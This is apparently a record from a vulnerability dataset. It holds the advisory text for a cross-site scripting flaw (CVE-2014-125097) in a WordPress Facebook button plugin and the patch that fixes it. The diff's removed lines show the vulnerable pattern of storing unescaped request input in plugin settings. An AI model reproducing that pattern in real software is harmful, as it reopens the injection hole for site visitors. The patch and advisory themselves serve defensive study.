yZXN0b3JlOiBpbnB1dC9vdXRwdXQgZm91bmQgdG8gbm90IGJlIGluIHVudHJ1c3RlZCBtZW1vcnkuIik7CiAgIH0=", "url": "https://github.com/google/asylo/commit/382da2b8b09cbf928668a2445efb778f76bd9c8a.patch" } ]
CWE-120 Buffer Overflow
CVE-2014-125097
BestWebSoft Facebook Like Button facebook-button-plugin.php fcbkbttn_settings_page cross site scripting
A vulnerability, which was classified as problematic, was found in BestWebSoft Facebook Like Button up to 2.33. Affected is the function fcbkbttn_settings_page of the file facebook-button-plugin.php. The manipulation leads to cross site scripting. It is possible to launch the attack remotely. Upgrading to version 2.34 is able to address this issue. The patch is identified as b766da8fa100779409a953f0e46c2a2448cbe99c. It is recommended to upgrade the affected component. VDB-225354 is the identifier assigned to this vulnerability.
[ { "commit_message": "[PATCH] V2.34 - Security Exploit was fixed. git-svn-id: https://plugins.svn.wordpress.org/facebook-button-plugin/trunk@965089 b8457f37-d9ea-0310-8a92-e5e31aec5664 bws_menu/bws_menu.php | 47 ++++++++++-------- facebook-button-plugin.php | 34 ++++++------- images/facebook-ico3.jpg | Bin 15870 -> 0 bytes ...ook-ico3.png => standard-facebook-ico.png} | Bin images/standart-facebook-ico.png | Bin 4093 -> 0 bytes readme.txt | 10 +++- 6 files changed, 52 insertions(+), 39 deletions(-) delete mode 100755 images/facebook-ico3.jpg rename images/{facebook-ico3.png => standard-facebook-ico.png} (100%) delete mode 100755 images/standart-facebook-ico.png", "patch_text_b64": "From b766da8fa100779409a953f0e46c2a2448cbe99c Mon Sep 17 00:00:00 2001
From: bestwebsoft <bestwebsoft@b8457f37-d9ea-0310-8a92-e5e31aec5664>
Date: Wed, 13 Aug 2014 12:20:42 +0000
Subject: [PATCH] V2.34 - Security Exploit was fixed.

git-svn-id: https://plugins.svn.wordpress.org/facebook-button-plugin/trunk@965089 b8457f37-d9ea-0310-8a92-e5e31aec5664
---
 bws_menu/bws_menu.php                         |  47 ++++++++++--------
 facebook-button-plugin.php                    |  34 ++++++-------
 images/facebook-ico3.jpg                      | Bin 15870 -> 0 bytes
 ...ook-ico3.png => standard-facebook-ico.png} | Bin
 images/standart-facebook-ico.png              | Bin 4093 -> 0 bytes
 readme.txt                                    |  10 +++-
 6 files changed, 52 insertions(+), 39 deletions(-)
 delete mode 100755 images/facebook-ico3.jpg
 rename images/{facebook-ico3.png => standard-facebook-ico.png} (100%)
 delete mode 100755 images/standart-facebook-ico.png

diff --git a/bws_menu/bws_menu.php b/bws_menu/bws_menu.php
index 922c3e0..826ee44 100755
--- a/bws_menu/bws_menu.php
+++ b/bws_menu/bws_menu.php
@@ -1,7 +1,7 @@
 <?php
 /*
 * Function for displaying BestWebSoft menu
-* Version: 1.3.6
+* Version: 1.3.7
 */
 
 if ( ! function_exists( 'bws_add_menu_render' ) ) {
@@ -515,8 +515,8 @@ function bws_add_menu_render() {
 		if ( ( isset( $_REQUEST['bwsmn_form_submit'] ) && check_admin_referer( plugin_basename(__FILE__), 'bwsmn_nonce_submit' ) ) ||
 			 ( isset( $_REQUEST['bwsmn_form_submit_custom_email'] ) && check_admin_referer( plugin_basename(__FILE__), 'bwsmn_nonce_submit_custom_email' ) ) ) {
 			if ( isset( $_REQUEST['bwsmn_form_email'] ) ) {
-				$bwsmn_form_email = trim( $_REQUEST['bwsmn_form_email'] );
-				if ( $bwsmn_form_email == "" || !preg_match( "/^((?:[a-z0-9']+(?:[a-z0-9\-_\.']+)?@[a-z0-9]+(?:[a-z0-9\-\.]+)?\.[a-z]{2,5})[, ]*)+$/i", $bwsmn_form_email ) ) {
+				$bwsmn_form_email = esc_html( trim( $_REQUEST['bwsmn_form_email'] ) );
+				if ( $bwsmn_form_email == "" || ! is_email( $bwsmn_form_email ) ) {
 					$error = __( "Please enter a valid email address.", 'bestwebsoft' );
 				} else {
 					$email = $bwsmn_form_email;
@@ -538,19 +538,24 @@ function bws_add_menu_render() {
 				foreach ( $system_info['system_info'] as $key => $value ) {
 					$message_text .= '<tr><td>'. $key .'</td><td>'. $value .'</td></tr>';	
 				}
-				$message_text .= '</table>
-				<h4>Active Plugins</h4>
-				<table>';
-				foreach ( $system_info['active_plugins'] as $key => $value ) {	
-					$message_text .= '<tr><td scope="row">'. $key .'</td><td scope="row">'. $value .'</td></tr>';	
+				$message_text .= '</table>';
+				if ( ! empty( $system_info['active_plugins'] ) ) {
+					$message_text .= '<h4>Active Plugins</h4>
+					<table>';
+					foreach ( $system_info['active_plugins'] as $key => $value ) {	
+						$message_text .= '<tr><td scope="row">'. $key .'</td><td scope="row">'. $value .'</td></tr>';	
+					}
+					$message_text .= '</table>';
 				}
-				$message_text .= '</table>
-				<h4>Inactive Plugins</h4>
-				<table>';
-				foreach ( $system_info['inactive_plugins'] as $key => $value ) {
-					$message_text .= '<tr><td scope="row">'. $key .'</td><td scope="row">'. $value .'</td></tr>';
+				if ( ! empty( $system_info['inactive_plugins'] ) ) {
+					$message_text .= '<h4>Inactive Plugins</h4>
+					<table>';
+					foreach ( $system_info['inactive_plugins'] as $key => $value ) {
+						$message_text .= '<tr><td scope="row">'. $key .'</td><td scope="row">'. $value .'</td></tr>';
+					}
+					$message_text .= '</table>';
 				}
-				$message_text .= '</table></body></html>';
+				$message_text .= '</body></html>';
 				$result = wp_mail( $email, 'System Info From ' . $home_url, $message_text, $headers );
 				if ( $result != true )
 					$error = __( "Sorry, email message could not be delivered.", 'bestwebsoft' );
@@ -898,12 +903,14 @@ function bws_add_menu_render() {
 					<table class="bws_system_info">
 						<thead><tr><th><?php _e( 'Active Plugins', 'bestwebsoft' ); ?></th><th></th></tr></thead>
 						<tbody>
-						<?php foreach ( $system_info['active_plugins'] as $key => $value ) { ?>	
-							<tr>
-								<td scope="row"><?php echo $key; ?></td>
-								<td scope="row"><?php echo $value; ?></td>
-							</tr>	
-						<?php } ?>
+						<?php if ( ! empty( $system_info['active_plugins'] ) ) {
+							foreach ( $system_info['active_plugins'] as $key => $value ) { ?>	
+								<tr>
+									<td scope="row"><?php echo $key; ?></td>
+									<td scope="row"><?php echo $value; ?></td>
+								</tr>	
+							<?php }
+						} ?>
 						</tbody>
 					</table>
 					<table class="bws_system_info">
diff --git a/facebook-button-plugin.php b/facebook-button-plugin.php
index e4d66d5..c7d9523 100644
--- a/facebook-button-plugin.php
+++ b/facebook-button-plugin.php
@@ -4,7 +4,7 @@
 Plugin URI: http://bestwebsoft.com/plugin/
 Description: Put Facebook Button in to your post.
 Author: BestWebSoft
-Version: 2.33
+Version: 2.34
 Author URI: http://bestwebsoft.com/
 License: GPLv2 or later
 */
@@ -123,10 +123,10 @@ function fcbkbttn_settings() {
 			'like'					=>	1,
 			'share'					=>	0,
 			'where'					=>	'',
-			'display_option'		=>	'',
+			'display_option'		=>	'standard',
 			'count_icon'			=>	1,
 			'extention'				=>	'png',
-			'fb_img_link'			=>	plugins_url( "images/standart-facebook-ico.png", __FILE__ ),
+			'fb_img_link'			=>	plugins_url( "images/standard-facebook-ico.png", __FILE__ ),
 			'locale' 				=>	'en_US',
 			'html5'					=>	0
 		);
@@ -159,14 +159,14 @@ function fcbkbttn_settings() {
 			}
 		}
 		/* Get options from the database */
-		if ( 1 == $wpmu )
-			$fcbkbttn_options = get_site_option( 'fcbk_bttn_plgn_options' );
-		else
-			$fcbkbttn_options = get_option( 'fcbk_bttn_plgn_options' );
+		$fcbkbttn_options = ( 1 == $wpmu ) ? get_site_option( 'fcbk_bttn_plgn_options' ) : get_option( 'fcbk_bttn_plgn_options' );
 
 		if ( ! isset( $fcbkbttn_options['plugin_option_version'] ) || $fcbkbttn_options['plugin_option_version'] != $fcbkbttn_plugin_info["Version"] ) {
-			if ( stristr( $fcbkbttn_options['fb_img_link'], 'standart-facebook-ico.jpg' ) )
-				$fcbkbttn_options['fb_img_link'] = plugins_url( "images/standart-facebook-ico.png", __FILE__ );	
+			if ( stristr( $fcbkbttn_options['fb_img_link'], 'standart-facebook-ico.jpg' ) || stristr( $fcbkbttn_options['fb_img_link'], 'standart-facebook-ico.png' ) )
+				$fcbkbttn_options['fb_img_link'] = plugins_url( "images/standard-facebook-ico.png", __FILE__ );	
+
+			if ( 'standart' == $fcbkbttn_options['display_option'] )
+				$fcbkbttn_options['display_option'] = 'standard';
 
 			if ( stristr( $fcbkbttn_options['fb_img_link'], 'img/' ) )
 				$fcbkbttn_options['fb_img_link'] = plugins_url( str_replace( 'img/', 'images/', $fcbkbttn_options['fb_img_link'] ), __FILE__ );	
@@ -204,11 +204,11 @@ function fcbkbttn_settings_page() {
 		if ( isset( $_REQUEST['fcbkbttn_form_submit'] ) && check_admin_referer( plugin_basename( __FILE__ ), 'fcbkbttn_nonce_name' ) ) {
 			/* Takes all the changed settings on the plugin's admin page and saves them in array 'fcbk_bttn_plgn_options'. */
 			if ( isset( $_REQUEST['fcbkbttn_where'] ) && isset( $_REQUEST['fcbkbttn_link'] ) && isset( $_REQUEST['fcbkbttn_display_option'] ) ) {
-				$fcbkbttn_options['link']			=	$_REQUEST['fcbkbttn_link'];
+				$fcbkbttn_options['link']			=	stripslashes( esc_html( $_REQUEST['fcbkbttn_link'] ) );
 				$fcbkbttn_options['where']			=	$_REQUEST['fcbkbttn_where'];
 				$fcbkbttn_options['display_option']	=	$_REQUEST['fcbkbttn_display_option'];
-				if ( 'standart' == $fcbkbttn_options['display_option'] ) {
-					$fcbkbttn_options['fb_img_link'] = plugins_url( 'images/standart-facebook-ico.png', __FILE__ );
+				if ( 'standard' == $fcbkbttn_options['display_option'] ) {
+					$fcbkbttn_options['fb_img_link'] = plugins_url( 'images/standard-facebook-ico.png', __FILE__ );
 				}				
 				$fcbkbttn_options['my_page']		=	isset( $_REQUEST['fcbkbttn_my_page'] ) ? 1 : 0 ;
 				$fcbkbttn_options['like']			=	isset( $_REQUEST['fcbkbttn_like'] ) ? 1 : 0 ;
@@ -280,7 +280,7 @@ function fcbkbttn_settings_page() {
 		if ( isset( $_GET['action'] ) && 'go_pro' == $_GET['action'] ) {
 			global $wpmu;
 
-			$bws_license_key = ( isset( $_POST['bws_license_key'] ) ) ? trim( $_POST['bws_license_key'] ) : "";
+			$bws_license_key = ( isset( $_POST['bws_license_key'] ) ) ? stripslashes( esc_html( trim( $_POST['bws_license_key'] ) ) ) : "";
 			$bstwbsftwppdtplgns_options_defaults = array();
 			if ( 1 == $wpmu ) {
 				if ( !get_site_option( 'bstwbsftwppdtplgns_options' ) )
@@ -297,7 +297,7 @@ function fcbkbttn_settings_page() {
 					if ( strlen( $bws_license_key ) != 18 ) {
 						$error = __( "Wrong license key", 'facebook' );
 					} else {
-						$bws_license_plugin = trim( $_POST['bws_license_plugin'] );	
+						$bws_license_plugin = stripslashes( esc_html( $_POST['bws_license_plugin'] ) );	
 						if ( isset( $bstwbsftwppdtplgns_options['go_pro'][ $bws_license_plugin ]['count'] ) && $bstwbsftwppdtplgns_options['go_pro'][ $bws_license_plugin ]['time'] < ( time() + (24 * 60 * 60) ) ) {
 							$bstwbsftwppdtplgns_options['go_pro'][ $bws_license_plugin ]['count'] = $bstwbsftwppdtplgns_options['go_pro'][ $bws_license_plugin ]['count'] + 1;
 						} else {
@@ -438,7 +438,7 @@ function fcbkbttn_settings_page() {
 							<td>
 								<?php if ( scandir( $upload_dir['basedir'] ) && is_writable( $upload_dir['basedir'] ) ) { ?>
 									<select name="fcbkbttn_display_option" onchange="if ( this . value == 'custom' ) { getElementById ( 'fcbkbttn_display_option_custom' ) . style.display = 'table-row'; } else { getElementById ( 'fcbkbttn_display_option_custom' ) . style.display = 'none'; }">
-										<option <?php if ( 'standart' == $fcbkbttn_options['display_option'] ) echo 'selected="selected"'; ?> value="standart"><?php _e( "Standard Facebook image", 'facebook' ); ?></option>
+										<option <?php if ( 'standard' == $fcbkbttn_options['display_option'] ) echo 'selected="selected"'; ?> value="standard"><?php _e( "Standard Facebook image", 'facebook' ); ?></option>
 										<option <?php if ( 'custom' == $fcbkbttn_options['display_option'] ) echo 'selected="selected"'; ?> value="custom"><?php _e( "Custom Facebook image", 'facebook' ); ?></option>
 									</select>
 								<?php } else {
@@ -620,8 +620,8 @@ function fcbkbttn_settings_page() {
 if ( ! function_exists( 'fcbkbttn_update_option' ) ) {
 	function fcbkbttn_update_option() {
 		global $fcbkbttn_options;
-		if ( 'standart' == $fcbkbttn_options['display_option'] ) {
-			$fb_img_link = plugins_url( 'images/standart-facebook-ico.png', __FILE__ );
+		if ( 'standard' == $fcbkbttn_options['display_option'] ) {
+			$fb_img_link = plugins_url( 'images/standard-facebook-ico.png', __FILE__ );
 		} else if ( 'custom' == $fcbkbttn_options['display_option'] ) {
 			$upload_dir = wp_upload_dir();
 			$fb_img_link = $upload_dir['baseurl'] . '/facebook-image/facebook-ico' . $fcbkbttn_options['count_icon'] . '.' . $fcbkbttn_options['extention'];
diff --git a/images/facebook-ico3.jpg b/images/facebook-ico3.jpg
deleted file mode 100755
index 4e2ab9b8ed1269f5d5ef1cff0415e55e031cf87f..0000000000000000000000000000000000000000
GIT binary patch
literal 0
HcmV?d00001

literal 15870
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
